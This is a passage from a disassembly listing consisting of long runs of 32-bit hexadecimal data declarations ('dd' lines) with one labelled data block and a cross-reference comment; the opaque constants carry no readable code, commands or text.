		dd 4E28A0C3h, 9811AC52h, 7E0205B8h, 38857A82h, 6F48E4F8h
		dd 358A2FDCh, 0D4CA801Ch, 0CD4E8388h, 0DF3283Fh, 98143948h
		dd 88C88F44h, 6CB72792h, 0CE0B98C0h, 80018D5Fh,	510CB01Ah
		dd 0ED7FA889h, 0F298EC91h, 0CD3AAC46h, 78DC4089h, 0F4495B35h
		dd 65889C38h, 9EE20011h, 0D0933B2Dh, 0DF03C27Dh, 75482427h
		dd 96780716h, 620E9BC9h, 6C70BE9Eh, 2528615Ch, 0E3085029h
		dd 16801868h, 5BC98D70h, 2DF16700h, 5CC4DA99h, 0AC140049h
		dd 739E364Bh, 0D12FE3BDh, 82844020h, 0C0A01619h, 2CD4B91Ch
		dd 0B6B54D3h, 2D0422C4h, 10305D9Ch, 0C116A977h,	14FD2591h
		dd 0DC0FB115h, 0A56CB224h, 16E7B06Dh, 0B8F62723h, 4BDA550h
		dd 0CAD99620h, 68500DDh, 0BDB91618h, 0BEA53810h, 47486082h
		dd 0BB90C046h, 71BA55EDh, 0B935FA0Bh, 64E86734h, 0A0C163A9h
		dd 98991464h, 4610204Ch, 1D177809h, 0CD604839h,	0EC5200A6h
		dd 885EE571h, 5099F477h, 5D184779h, 0E765E500h,	0EDE3A6F1h
		dd 0DB9A01ABh, 11C626B2h, 0BC2C2436h, 4AAAC901h, 57528EA7h
		dd 8980743Ch, 923AE573h, 0ADFA0C12h, 0BDBBA440h, 5B392179h
		dd 19CE21Fh, 0F0FF8448h, 0DDE2C465h, 61E8E0B8h,	7C8B860Eh
		dd 0BEA640F6h, 0AB526Dh, 4032BF31h, 4CC614F4h, 2079B25h
		dd 0F253FCh, 672DBA77h,	0B84D9F04h, 60971C71h, 19AEB9C1h
		dd 88DDE44Ch, 6325CCAFh, 1FD86154h, 3516EC22h, 45B08880h
		dd 0E82F1320h, 5C888866h, 9446424Eh, 4C194BB7h,	4C194737h
		dd 70DA3028h, 0F769DF50h, 0C0C0EDA0h, 7F04AAEAh, 0EBD88461h
		dd 2412B071h, 391C96E1h, 55952094h, 888CA449h, 0CEB911C8h
		dd 0A0241A4Bh, 6024A0BCh, 498700C8h, 965910BDh,	3040145Eh
		dd 0CA3F5C42h, 86620082h, 9E8D758Fh, 0AF902564h, 4ACE9F05h
		dd 588CDA5Eh, 0F23F0294h, 461C2D69h, 1006B0C9h,	390CB35h
		dd 0EE2136C0h, 80022ECDh, 958173E2h, 4C885871h,	1FE8F850h
		dd 0CC49018Ch, 750D2DD2h, 0CABFCCDDh, 9912DF30h, 0F5BEB32h
		dd 502ED209h, 0DE443012h, 8C008A6Bh, 9436D9EFh,	0B8F67025h
		dd 4AE0F0B4h, 3D5CB1C1h, 2881B818h, 4EB0D1BDh, 2AE8218Fh
		dd 303B3B09h, 0CF002723h, 0B974884Ah, 767CBC97h, 0DB0EA046h
		dd 108B741Eh, 0E8A49004h, 16F00F0h, 0F4FF8312h,	9298F81Ah
		dd 8B78B62Ch, 0C89F0285h, 76805191h, 0EEBB6B62h, 12DD891Fh
		dd 88FCF1E5h, 728004B1h, 0FFCDDA9Ah, 10845071h,	0E03044B3h
		dd 0B5007091h, 2E47CB85h, 8E4F0068h, 0E9933467h, 80005765h
		dd 9B71D2A6h, 1715946Eh, 0A674F444h, 0C187F0F4h, 993509D3h
		dd 0E4F0409Fh, 0E47B0B2Fh, 0F8890064h, 0D3A21371h, 5FEE5DD5h
		dd 0E000D4F4h, 3DA904FEh, 0B7098C0h, 4D9D7EEDh,	93BE10D4h
		dd 0D4855594h, 8C10C4A8h, 0F2168437h, 0B210B234h, 37B8301Fh
		dd 96EB4800h, 0E8C4E724h, 0FB39BAABh, 0A44EDC32h, 8B177E3Ch
		dd 98E9E46Ah, 4515D27h,	9B183171h, 3258170Eh, 253B22D3h
		dd 4505E44h, 0A0117CB3h, 7470E424h, 0F3F41025h,	980B04B0h
		dd 144A2B2h, 81629683h,	0E0D96B04h, 0F201E06Dh,	0FA8A027Ah
		dd 88202A71h, 31449Fh, 0CFDF622h, 9642975Ah, 8E9C4C05h
		dd 38B91510h, 2E0ACE00h, 69E26D7h, 0E9A3BF04h, 17BADA42h
		dd 9DB0AC48h, 0B0D13B80h, 4149A6h, 4AD35927h, 2D737C33h
		dd 5FE4BE05h, 0BC41A9D2h, 59C9CE9Eh, 742807E1h,	93B4B45Bh
		dd 2569D63Eh, 546C1AF0h, 7CE407Ch, 2E00CF69h, 3E048BF8h
		dd 0D53BF9h, 0C103618Dh, 0AB021E42h, 60207C4Ah,	0AA06BE98h
		dd 0E68FE94h, 45E2B885h, 0CC7C20A7h, 18D0A2A5h,	9F787617h
		dd 0F089D331h, 0FA30038Ch, 28321921h, 9FB000BBh, 514872F4h
		dd 2F07D06Dh, 0EBF11109h, 40178CF2h, 44D6F550h,	942115FBh
		dd 0D4D42E07h, 3564800h, 82B97699h, 0B0BA1315h,	0B3C4288h
		dd 645C61EEh, 742F7B13h, 33077423h, 5C465027h, 93D10A48h
		dd 80907C25h, 0BF1BD5BBh, 0A87C19C1h, 18C029E0h, 0B97C889Eh
		dd 8E449409h, 5907485h,	5074D92h, 0A51030A9h, 815BC89Fh
		dd 85E8EFFBh, 1D20AF95h, 804E9170h, 0A977FC28h,	39E26BB2h
		dd 2C220C70h, 0A5CD2A47h, 5BCCF090h, 23C43B05h,	76EE0024h
		dd 1401A571h, 0D090C897h, 46902FEh, 6BFD3770h, 1063C8B2h
		dd 70FAA5EFh, 0B4BF92D4h, 8D503850h, 480801E9h,	0EB180CB4h
		dd 2D23302Fh, 2E9A5F03h, 64FE8048h, 0CFD00BA5h,	0C4C24571h
		dd 0A511109Dh, 0E60C9281h, 2C2DD418h, 109D109Eh, 1611FB11h
		dd 89B5A5Bh, 0D400818Eh, 7B360DDEh, 7228A39Fh, 0B089009Bh
		dd 0CF7E1A9Ah, 0F3F2294h, 514DAF5Ch, 0E0EF84E8h, 0DDA4012h
		dd 25110A9h, 9ABB50E9h,	8C6638EBh, 0C786B30Bh, 40C8F6A3h
		dd 31C4DF6Ah, 79760500h, 0E3AE2CAFh, 0CBE40FD3h, 0BA608BB9h
		dd 0EC6B3FC0h, 1B8F7D15h, 0F8E24A94h, 0EEE9513h, 0F1805F5Ch
		dd 8DCFB914h, 7EE3BF14h, 94D04AAFh, 796B1BAh, 2974F7CEh
		dd 186831D9h, 4D244019h, 3452F9B1h, 0A64E0998h,	93E86002h
		dd 12785A2Dh, 5F14E870h, 2532D0C0h, 0B71F5E28h,	4B010050h
		dd 0E0A783DEh, 926E254Eh, 0B30570D9h, 0B8FCA594h, 0BB1C304Bh
		dd 4D1FB2B5h, 0E827CCB3h, 956D48D0h, 0FC5EB425h, 8C02F8FCh
		dd 3DB3F504h, 44EFB79Fh, 4014E118h, 0DE82CF1Ch,	69460071h
		dd 9D2078D6h, 515F9580h, 9F9ABCC0h, 696C4008h, 7B597227h
		dd 962CD8F8h, 28D5060Fh, 0F0090176h, 0D86C862Fh, 8E6EE580h
		dd 1B754C56h, 0EF9D7D05h, 2C80DC6Dh, 18CAB5C5h,	64379F46h
		dd 0DFA17864h, 28C07E2Bh, 0F09641ECh, 0CC36547Fh, 9788F07Ch
		dd 0D14C4C00h, 0C4002E86h, 0E1201876h, 0F4D24374h, 833A5B84h
		dd 0FBEA0C28h, 7CA99720h, 98BB6135h, 2BC4D96Ch,	0A9B08072h
		dd 8505CA8h, 8809DDD1h,	90DC8411h, 1C311C94h, 30A73385h
		dd 88922C23h, 105D9B82h, 9553278h, 0CF482419h, 848C7CF0h
		dd 10CF0874h, 0B2DDA8E8h, 8755D950h, 1A7593ECh,	8408D8B6h
		dd 0A02C9FA5h, 0DD9DC283h, 0D08145DCh, 1FCB7091h, 9CA6B57Fh
		dd 60AD4992h, 1AFC7201h, 4AC33D04h, 59580420h, 0ED0FFA46h
		dd 0C3E20A8h, 5813BD50h, 0D25B1717h, 1194B830h,	54140647h
		dd 343DC018h, 0D6061DEh, 71050AA3h, 0EC7DC619h,	773E0Ch
		dd 6BC4F8CBh, 658B7Fh, 6009DBA9h, 8D9441E2h, 0FB783460h
		dd 2E04832h, 2E084611h,	0F043420Ah, 3BDF2000h, 4F7E6BC3h
		dd 180B1C10h, 37F60E94h, 0CEE1D282h, 74019844h,	0D8E70D93h
		dd 30E0871Ch, 6DA0009h,	3FFD6853h, 0F0F8D114h, 0E6029374h
		dd 736A086Dh, 7F8462C6h, 28CD3C10h, 0C40C8E1Dh,	3BB43700h
		dd 1F94BEAh, 0A984C580h, 573D71C8h, 53015FBCh, 60AAB43Fh
		dd 8126B894h, 13DCE96h
		dd 0FD979352h, 0A1971CCEh, 4BD4E81Dh, 0A6957C40h, 588CF5FEh
		dd 0E05F3D9Fh, 8D4C0628h, 6C404A08h, 2256507Eh,	49A4B8B6h
		dd 411D588Bh, 4F28EBC8h, 281ED17Ah, 32D04B19h, 903A1658h
		dd 0E101AA78h, 0F762A307h, 0FB42925Ah, 0E27C729Dh, 4D520A2Fh
		dd 0D04021E2h, 0FB2D7CA3h, 6050A09Eh, 2950FC9h,	1F7FE597h
		dd 98DAB950h, 82AE104h,	50E80B86h, 0D63C938Ah, 0B9B29F15h
		dd 5C1F09A4h, 1090134Bh, 29906E30h, 0C15134E2h,	9442C00Bh
		dd 16D4CA07h, 18E634ABh, 0D2D3D1BCh, 94041C70h,	727EFE96h
		dd 0BC1ED88Dh, 35615123h, 78898886h, 6384660Bh,	2584E007h
		dd 0A2E24D89h, 0FA1318BCh, 41FB32ECh, 0EE10D7A9h, 89C800Eh
		dd 9FFB0616h, 7C1C1821h, 2411E4h, 3AB1F0Eh, 2B723A59h
		dd 0A80B8712h, 0BC007052h, 9819E07Ch, 0B8F24CB8h, 0A9928980h
		dd 20A610DFh, 0ABCE452h, 0A0D98EFAh, 9C4CCA12h,	2EAC08B4h
		dd 0B5CC59Bh, 60A020BAh, 3261D0E1h, 7414E5B5h, 7CE75426h
		dd 8E52A0Ch, 4442404Ch,	0F0B243Eh, 86095170h, 31183F66h
		dd 611050CCh, 37C01D1h,	47BA288Ch, 0AB66F610h, 31516820h
		dd 3A2013F2h, 0F58E01CAh, 44410888h, 8E9D908h, 2E08BD53h
		dd 1CA00CEAh, 8CFD3238h, 18E1A908h, 721440A1h, 0D110EC66h
		dd 9D4320A9h, 102AC631h, 208CDCF8h, 5208B720h, 81464141h
		dd 92F3320h, 99102E08h,	0F11949FBh, 8C26B122h, 18ED4608h
		dd 23D1CACEh, 0BB4B8888h, 2812313Bh, 1C01C0BCh,	197403F3h
		dd 0F9FD1621h, 323888A3h, 0A6A40C34h, 0FC40DF10h, 0EBAA40A9h
		dd 3A2149C4h, 0CD53B04h, 65CFD1F2h, 4DF32890h, 0D159AFC4h
		dd 0EB88980Bh, 8017F9E1h, 20C65866h, 20408FE2h,	7D336103h
		dd 108010B5h, 18363721h, 0FB3808D9h, 1910C9B2h,	96460823h
		dd 0C07F283Ah, 8CC6338h, 18159B83h, 20A81B7Bh, 4C0E33B6h
		dd 818F271h, 8A2025BDh,	84F1D140h, 8D64F19h, 0C0FC51ABh
		dd 0C89C57C4h, 0C208E398h, 0D98F804Eh, 109011D1h, 3310DB52h
		dd 0B10718FAh, 0C6563608h, 10C93098h, 63599D20h, 88FDD9F8h
		dd 20622920h, 8931E40Ch, 0A927084Bh, 39E71888h,	18ECA608h
		dd 4F1CE999h, 0C62D8180h, 80EE510h, 18B96432h, 9B7448D5h
		dd 95B481E6h, 38F48069h, 40C9409Ah, 0BC407A45h,	20A0635Ah
		dd 507319EDh, 0E3082E66h, 3E883329h, 28319789h,	0CB9DF174h
		dd 0C6CD6024h, 38202208h, 12C09C49h, 6C492BAFh,	926026A8h
		dd 69CF6308h, 3818C349h, 0A218A41Fh, 0E610C4D2h, 0F9D70694h
		dd 6291CA79h, 0AD31BAC8h, 14D7320h, 888DD84h, 0D119F63Dh
		dd 0F8529A21h, 5AD448C0h, 4098924Ah, 334068E0h,	20289A07h
		dd 0A42AE164h, 37408021h, 405A6663h, 0F431F1BBh, 1E0B10A5h
		dd 466C2892h, 89A3070h,	319BC820h, 8C303D9Eh, 0A6A90253h
		dd 0FCB12E84h, 0B110C4ACh, 0A24D098Fh, 593CC68h, 92A84417h
		dd 2DFB0112h, 5C2FE081h, 16097E5Ch, 6C402889h, 7E18115Fh
		dd 4F1023B1h, 88BD28E0h, 0B3A31ED8h, 5D498942h,	1A60C4ACh
		dd 47B55503h, 0B373A4D2h, 2389E8B0h, 2C67E83Fh,	6BB8AB07h
		dd 9FAA9802h, 856B09E0h, 719C0D05h, 0A0809712h,	624211Ah
		dd 5113F392h, 6019A0D7h, 72A85C7Fh, 4858D03Bh, 780002C3h
		dd 0CDDABCB2h, 18E9D540h, 48D1F171h, 0F00C461h,	0C8F65DDEh
		dd 0F3139672h, 709C012Fh, 80384A0Ah, 0FF99EE91h, 1F25A1B0h
		dd 26E7011Ah, 229E00E8h, 0DC14B2C7h, 7F387060h,	3ECB516h
		dd 0D89C9433h, 0E1A85E86h, 5A006FCEh, 0F39A2A8Eh, 8896030h
		dd 54CF13ABh, 0C977823Dh, 406A6544h, 6F5EE0CAh,	0FFA0D0DBh
		dd 950B4E11h, 0D8C2BB00h, 7246E899h, 28E35D89h,	476B208h
		dd 9440871Dh, 0F93F2BB3h, 0E07550B6h, 827D3EE3h, 303A99Fh
		dd 92041113h, 8854A040h, 6C9C6882h, 0ACD75413h,	4C590189h
		dd 0BDA8CB79h, 0BA95C05Bh, 1D0EC0F8h, 427D3433h, 80423FF9h
		dd 1EC4B194h, 23D11F10h, 0CE0ED72h, 0DA020D41h,	0E165165Ah
		dd 6C5433h, 8338D49Ch, 71F6B466h, 6AE091C3h, 0A82013C2h
		dd 6F8501C4h, 8086E5B4h, 643F1BD9h, 0A0E941DFh,	27079258h
		dd 0A800C0E1h, 0BD403DE2h, 73B93701h, 7CCC7271h, 750F2880h
		dd 7EC11204h, 0E33700Ah, 130F94AAh, 0FB728279h,	8A883A3h
		dd 76C6E08Eh, 46B507E3h, 6BE0A1B4h, 1EF3C0A0h, 0DE17A63Ah
		dd 4C83AAFAh, 65A3B9BBh, 480345C8h, 720D5010h, 0C0784DF5h
		dd 54008962h, 0D223EA95h, 107312h, 97E3294h, 9C71F991h
		dd 0FBCB48C3h, 508AC23Eh, 4FBC4CB8h, 660A1000h,	38D9EE6Bh
		dd 0B507937Eh, 292401DBh, 8880A42Ah, 0F136B76h,	0C28903Ch
		dd 0D54A726Ch, 78955FD0h, 0D900E540h, 0E000BF66h, 18F51368h
		dd 1CBB6D79h, 0C6BE78E1h, 39DC71FEh, 233484Ch, 0E913A2C3h
		dd 190840D4h, 14B50C1Fh, 0CE68E5D8h, 11776607h,	41467267h
		dd 606F48F0h, 7C346A10h, 50D77D37h, 360FD390h, 0B99D2535h
		dd 0F931D87Ch, 9EF1E0EDh, 91D77824h, 4B1306BCh,	10E78DCh
		dd 4612E15Dh, 2856C2h, 18ED44E9h, 2C7F113Dh, 88B3211Ch
		dd 0DFDC7840h, 1791D036h, 0A0C5E10Ch, 0FA190E08h, 0A9584324h
		dd 35783C30h, 44106472h, 0A83C4D2Ch, 0DFDB03DCh, 409EC371h
		dd 101D8B8h, 6ACB8930h,	0BE5C4D72h, 0AF7925A0h,	105FC9D4h
		dd 5F856048h, 4B2C8354h, 14A011A2h, 0E1B51E7Bh,	86006C92h
		dd 0C90F3F14h, 0D11C0323h, 363DE828h, 0E10CF0D6h, 186069DBh
		dd 0ABF21514h, 847B3A9Ch, 95E5FA1Ch, 0DAC34492h, 12721214h
		dd 3A8F452h, 4759F0C4h,	34783454h, 1114D0Ch, 90136188h
		dd 9EC406Dh, 0BB276EAEh, 0E8827C4h, 0F8647829h,	1B50C7B5h
		dd 0F8F382D9h, 0CC2BFCA9h, 0CCA0B872h, 30206071h, 1989C76h
		dd 65F97A80h, 3BB080B9h, 0A7FA0AC7h, 4110C193h,	81C13F2Ch
		dd 0D8AC6C48h, 431946Bh, 673D5026h, 683E3F19h, 14D02081h
		dd 1068B930h, 5112896h,	0F29A9C73h, 42AA80D6h, 59738793h
		dd 1488350Ch, 9B4882h, 81E256F9h, 5A997C10h, 0FB0A34F0h
		dd 0FC8C2A92h, 0FF1E111Fh, 17E3D800h, 19E1685Dh, 406539E0h
		dd 0AEBC4505h, 0DC334C09h, 0E0D116ACh, 537A85FCh, 24391B03h
		dd 26E25FF3h, 2D4DFA50h, 2E42C81h, 8A1F077h, 5D7B150h
		dd 75491148h, 30DF3F35h, 367F6080h, 0ECBC53B4h,	8D39C13h
		dd 0E00F469Ch, 9800F30Dh, 0F107B9EAh, 35E906B0h, 18149E85h
		dd 10D19B00h, 0B4DB9337h, 0AC41E9EFh, 892B06Fh,	0AE7408ABh
		dd 55687900h, 0BE3A3CFh, 83F981D2h, 2A949861h, 0B5E16443h
		dd 40584828h, 0EFE03133h, 411A06DCh, 0CA972010h, 0E146549h
		dd 2CE0EC62h, 986CC07Dh, 3E7E09F4h, 804EDB4h, 0B1F88895h
		dd 4020DF58h, 1A60079Ch, 0E7F09208h, 0F680A4CCh, 9C8548F9h
		dd 8CB16D14h, 6C209628h, 9B2070BDh, 0D6B9B0C0h,	0D733DDh
		dd 7B340936h, 0F2FA1DEAh, 38A4C890h, 0B2A46C50h, 32608C60h
		dd 39C6BBDBh, 44D85490h, 0F3727081h, 4AD883EBh,	0E18C383Ah
		dd 4C45DBBCh, 12CF7040h, 1340687h, 20E4D16Ah, 5028F953h
		dd 1EDD7BA4h, 0A9181202h, 0C0D9D510h, 2F48864h,	135717C3h
		dd 6440BCD8h, 7605721Ch, 0CB71E0D9h, 790EB801h,	0D82567B9h
		dd 4F2C20h, 0ABEE5F12h,	0A1F3DABBh, 83B9753Fh, 2AE0E60Dh
		dd 6A9807D8h, 5F1894E8h, 0EC9820B2h, 70907980h,	87024C91h
		dd 0C8BD9471h, 58CF0940h, 0FA8EE81Ah, 80107CCDh, 0C3617A38h
		dd 592E75h, 9479C8EEh
		dd 955EE8BBh, 0AFFD220Ch, 1F110E9h, 68FBDA9h, 827E46FAh
		dd 71ED0D40h, 0F80077CFh, 72DBB98h, 7406A09Ah, 0F86305Dh
		dd 0A1162818h, 0C06F5584h, 45A4BC20h, 0F5EED87Bh, 89242803h
		dd 97E67A73h, 0A5FBAC7h, 120A085Bh, 0E105140Ah,	0F0473301h
		dd 8340E4D3h, 98C7B16Bh, 29F728A0h, 0B8BF0A84h,	0CA4E2Eh
		dd 972CA555h, 68000767h, 87865D89h, 2E12011Eh, 940A78h
		dd 3A7588F2h, 3258CB3Ch, 14D85458h, 0C0CC6430h,	48C89EFBh
		dd 0B701CEEh, 0B3DE166h, 69A2480h, 0A300E56Ch, 8D9338Ah
		dd 0B17C12h, 49B29E7h, 682BC15Dh, 0CF001A7Eh, 9CA269C5h
		dd 0D10A53E0h, 7E2C8C40h, 6BE82128h, 9811DC09h,	72D420CCh
		dd 3879DD30h, 687BD47h,	6013EF5Fh, 5AFEA8C0h, 83DF131h
		dd 9AE031F9h, 6DBE05D1h, 0C16B1A01h, 3052CA4h, 115113C1h
		dd 6D5445C8h, 0E368820Bh, 0FA18D46Ch, 0BB9026FBh, 9F8A02C0h
		dd 0F159F2E9h, 0C693B460h, 112E340h, 0A2D76D0Ch, 0E75480BAh
		dd 0D49A6012h, 0B6D3EC20h, 90CD3071h, 0C87D4730h, 0E978000h
		dd 0BCE6B0BAh, 0B85C00D1h, 0E11B6E0Dh, 90B94938h, 22324832h
		dd 0D4503D13h, 8DF614A0h, 73C35F8h, 7A7B005Ah, 63DA0F32h
		dd 1CD000EBh, 9A2D458Ah, 510243F9h, 0D6137A81h,	5CB0A220h
		dd 68102692h, 7DFA0708h, 0C5CB0138h, 8F884971h,	0C7FD68B0h
		dd 20996C95h, 0DFB50E60h, 0E0C90B5Fh, 7CA44AFBh, 0E0A935D2h
		dd 5A608900h, 19AEC9D1h, 6E18309h, 1A088017h, 58C2BBD0h
		dd 2F1C7D72h, 0E4306594h, 62C7E1Ch, 2442DC10h, 48ACBA41h
		dd 6115F9D0h, 32E4104Eh, 80AC28E8h, 6C106B84h, 0D49001B9h
		dd 0B6E1206Eh, 0C2097ADh, 744A180Bh, 0AC8800ECh, 4B8B449h
		dd 48C0D14Bh, 806A7B24h, 0AA06D8BCh, 0BD37B49Fh, 0D4E113D8h
		dd 7DE84FF4h, 1F1803E1h, 0D0017B98h, 0A6488635h, 3FD38C50h
		dd 952F0076h, 9203B9B3h, 72186D16h, 63A851D2h, 239001BAh
		dd 0F1E09E79h, 0C680743Ah, 481A3040h, 8C43E018h, 6C041003h
		dd 37E8D9BCh, 60F542B4h, 0F34A1304h, 1068A015h,	2E7186DFh
		dd 0A83840F8h, 0FCB24CB8h, 0FC1A28h, 7528F4E5h,	120AD20Eh
		dd 0CE2B026h, 4A1D7400h, 5062A89Dh, 24B4BBh, 6849011Ah
		dd 994373CFh, 46E263Dh,	0E289509h, 2082D0D4h, 42987EC0h
		dd 0F8A0B649h, 1FB81403h, 887F18CDh, 0FCAE75E1h, 83731440h
		dd 0AF96309h, 59DA4C68h, 56025E14h, 7BB024A4h, 0F3B5A01h
		dd 0D0388B72h, 23C90372h, 7658FA02h, 0E0E33806h, 4878CE78h
		dd 83174C9Ch, 1938454Eh, 0F3789273h, 38E494C2h,	2778A720h
		dd 4002A965h, 58CA5B8Ah, 8C4A34A1h, 5C02919h, 0A4E17299h
		dd 0F30E74F8h, 3097269Ah, 0A066A24h, 0D9FA0917h, 0D3BD4080h
		dd 12980F6Eh, 0B899B70h, 0CDC43C00h, 630204B7h,	7E72369Eh
		dd 9ABC41ADh, 7CB9D8h, 0DCCFEC66h, 0E5F0675h, 90C4FA68h
		dd 1760C494h, 2437D59Ah, 0EE080039h, 0E2AEA999h, 40289032h
		dd 853FBA41h, 50B8C86Bh, 4224B55Bh, 3D8C2004h, 0AD35017h
		dd 92B39F88h, 90E197D8h, 7F5672E0h, 1926C498h, 9411241Eh
		dd 3C5600Ah, 2D1842FCh,	5F8C6009h, 34865CF0h, 457797C0h
		dd 0D55EE169h, 6B0164C0h, 93BF30CCh, 39F6E030h,	50340481h
		dd 42332672h, 3A708240h, 2F7F86Fh, 50F35984h, 0D8F55400h
		dd 0F9B03013h, 6A900988h, 0CA95Dh, 0FA810B1h, 60B87E36h
		dd 0FAD3A0B4h, 38C05630h, 0E0B0C4BEh, 74200BE7h, 0BCD452F9h
		dd 605FEE02h, 0D9144881h, 0CC913Fh, 892AE942h, 11004D95h
		dd 432E8217h, 6088E127h, 690E306Ch, 50961BA9h, 9830F00Ch
		dd 0F9830CE2h, 0ED7818D3h, 8ABBE018h, 0C79F8C61h, 0A0934BD0h
		dd 0CC13884Ah, 76945248h, 0E2405B0Eh, 81075EA1h, 56DBD6E1h
		dd 0A4BB8C6Ch, 0D5413B0h, 0EF023AE4h, 19DC4837h, 51A07AD6h
		dd 44EEAB79h, 0D3B3A18h, 77C02CFh, 0C4C41112h, 0B46E811Ch
		dd 0D699F145h, 1AB01818h, 0F65A80F4h, 60873117h, 0A0BA900Fh
		dd 0F8841712h, 210F0220h, 4BBD6EB0h, 9200B85Ah,	0E9CDD8A4h
		dd 3BEE58h, 41DAE032h, 0E203FA0Dh, 0BE489490h, 0CF6C01C0h
		dd 0D7562290h, 0B0686D60h, 4278A618h, 0AED00FFh, 6B39B52Fh
		dd 0E8309098h, 36762472h, 0E18FB918h, 0E0A1DE41h, 223DBEB4h
		dd 0E6341244h, 0E4666020h, 4072176Ch, 0A6004437h, 80E0105Ah
		dd 1971E8B3h, 311896F7h, 437910D0h, 27A2E544h, 40AC9422h
		dd 0C041E364h, 0B35DD1B1h, 0BFF00663h, 94B0E0BDh, 0CBB62861h
		dd 7EE400ECh, 639187EDh, 9A40DBE1h, 8D613FE2h, 903EAEh
		dd 22D48EBFh, 690B5301h, 120E07Bh, 0F2765220h, 0F392BC20h
		dd 0BF661007h, 580125B1h, 6D730906h, 89F839CFh,	82D2009Bh
		dd 203330BDh, 4F2813A6h, 1709ACF8h, 89AAB467h, 66B8E870h
		dd 47E48E8h, 1EC3B204h,	7210811Ch, 8806E6Bh, 0F01209D0h
		dd 846A5078h, 5FC30062h, 419132DAh, 0FC1CDCE9h,	660020BCh
		dd 2B3E7889h, 0D168018Dh, 0FE9C061Eh, 0A3188085h, 0F9C91FE7h
		dd 64844809h, 11ECEB29h, 0BC004A71h, 0FAE3414h,	168B286h
		dd 0A0F85F95h, 0D48A6FDBh, 8C1DD2A2h, 0FC26ED22h, 347E509h
		dd 78DD30h, 99BB3B58h, 4F5682D7h, 0C8137F17h, 0B672A4E0h
		dd 0B25F0428h, 0CC920071h, 247F80D9h, 418C7E11h, 3B573860h
		dd 7BF9444h, 651E54F2h,	59F4D294h, 0BDB2B0A0h, 2C9ADC18h
		dd 684C4030h, 9640B1D0h, 6BF8E0B1h, 948B1317h, 4873444h
		dd 0FA0ABCC0h, 23085AF0h, 428AF900h, 0C07C4209h, 2E3DBB09h
		dd 3A4710Eh, 0FEB914C2h
dword_4E414C	dd 60196001h, 0BB1E1368h, 3CD858A8h, 0B4C8BD94h, 9894354Eh
					; DATA XREF: ___:off_43A1C0o
		dd 0D732142Ch, 8089182Eh, 0EF4F19B4h, 0B19B05Eh, 0FAE5F93Bh
		dd 0FCE24420h, 0F6009FB3h, 3885FF9Bh, 2678E3h, 0C667194Ah
		dd 0CA1144F5h, 0A481E035h, 37F18800h, 0CED88Bh,	0E51EC8BCh
		dd 0DB91C20Dh, 0E436E302h, 0E026D2B3h, 66F5AE4h, 0DDBBEB1Ah
		dd 758183Bh, 0B494800Ch, 48015FD9h, 0E0CFECC6h,	5A1027ACh
		dd 0C938F80Fh, 0B80D837Ah, 15C0C759h, 26FA5BCh,	0E4D01A09h
		dd 645001E0h, 35E8B003h, 0C672A97Ch, 0E13E0C41h, 9450BD4Fh
		dd 0ACCA90A2h, 6876D869h, 16D104A8h, 0F4C20A12h, 847041h
		dd 0C89F7389h, 0DBFA21CAh, 0C400D58h, 281FE97Ch, 0B005542Dh
		dd 381D0178h, 0F8F94A54h, 0C5AC5083h, 0E590E027h, 34FC9926h
		dd 62F3B342h, 81D84008h, 3601076Ch, 601E9603h, 0E0DA632Ch
		dd 0B0CF0435h, 0F43998CDh, 0B75E610h, 23316594h, 2AAD3D8h
		dd 45AEE8F0h, 0E440D934h, 29F0D1B0h, 69581913h,	5626C003h
		dd 0EFAF809Bh, 0ACB3480Dh, 3B07510h, 814AE0C3h,	9E4EA3D6h
		dd 4F110250h, 927469D3h, 0DE9910C0h, 755FA802h,	7480137Ch
		dd 5E6C16A8h, 11933D0Ch, 74EC8873h, 6CF02F83h, 62017CF8h
		dd 0A2274FBAh, 0F0608130h, 1F176BBh, 18179B67h,	8088B613h
		dd 1CEA7B90h, 496CB498h, 4977A899h, 6F3AB895h, 0A094DCC8h
		dd 0E7B36002h, 5CF6140Bh, 3F03B81h, 0EC280C79h,	5DAC130Ah
		dd 277696ECh, 80C9D51Ch, 0D4B3D66Ch, 0F870935Ah, 3980EC6Ch
		dd 0E10B1972h, 82CA169h, 0D50F0A28h, 0CB6F8DB0h, 0E19C4249h
		dd 4300FCCh, 0BC640AFh,	9FAD3000h, 61770271h, 2C3E04F4h
		dd 0C0ACB814h, 81EECB84h, 7223D206h, 0C48B7CEh,	3C87B698h
		dd 75405BF9h, 0AAF81232h, 0B28702D9h, 0F8F01EC6h, 91960703h
		dd 0F1AB3C8Dh, 0E8282898h, 69849580h, 7E5A9BEEh, 140CE870h
		dd 2C6DEC7Bh, 364E999h,	28BFE053h, 32E16180h, 3E85440h
		dd 1CFC065Dh, 0A05870FAh, 0F9C86118h, 10A46DB5h, 0E896948h
		dd 0D69A4822h, 410A8072h, 0B8C13F14h, 4A06C14h,	9EF1B16Bh
		dd 0A0DC8EC3h, 0F0A4A95Fh, 0B5161980h, 0F0D81897h, 0F917C738h
		dd 3000D643h, 0CC6ECFEDh, 607073C2h, 0A16B8963h, 104862E0h
		dd 0DC285AF4h, 4C9A014Bh, 761362DDh, 0CEA080D5h, 0FBDBB741h
		dd 831209DCh, 4C820677h, 746B8CE1h, 88DAE7D8h, 0D2D3B000h
		dd 0CBA25EAh, 80983Ah, 99A82052h, 121CE97Bh, 288C1400h
		dd 0A988F9A0h, 0FFF20019h, 810C1137h, 0B904C480h, 94695408h
		dd 0D047A9C4h, 0DA79B466h, 0A4093A70h, 0BD9471CEh, 16C0722Bh
		dd 9CC1943Bh, 0E0600B42h, 886E0006h, 0BB86FC77h, 0AC24430Ch
		dd 0CC01AC17h, 6DC1040Dh, 38B742Ch, 71E78480h, 0B0BA4DADh
		dd 832ED8A6h, 0DB4A204Eh, 0A1A47000h, 6BCD4013h, 20C12090h
		dd 10346880h, 6416EB34h, 605804A8h, 0C96880AAh,	0BB02967Fh
		dd 488AC7BAh, 6EC404Ah,	0CFEC80AEh, 38CB9A05h, 80C0DB72h
		dd 3552EE5h, 977CC92Dh,	983BE67Bh, 22020083h, 0BBAC88D8h
		dd 78AE06B6h, 0B04CF3F9h, 99E76B03h, 0A09201D3h, 6BC11379h
		dd 7808C9DCh, 0E4933A54h, 73C3010Bh, 0F2E5EC3Bh, 913A8E0h
		dd 0B8960490h, 0B089AA92h, 419C8C20h, 225C7799h, 488CB832h
		dd 4600586Ch, 71AAC2B4h, 0CCA083FEh, 2B5A8E0Fh,	0C149430h
		dd 7F48CBD6h, 0E2952C82h, 81517458h, 10CEE0BCh,	78011D4h
		dd 372BE0EBh, 0D904398Bh, 46BA6F1h, 0ADAC94F0h,	0A01315F4h
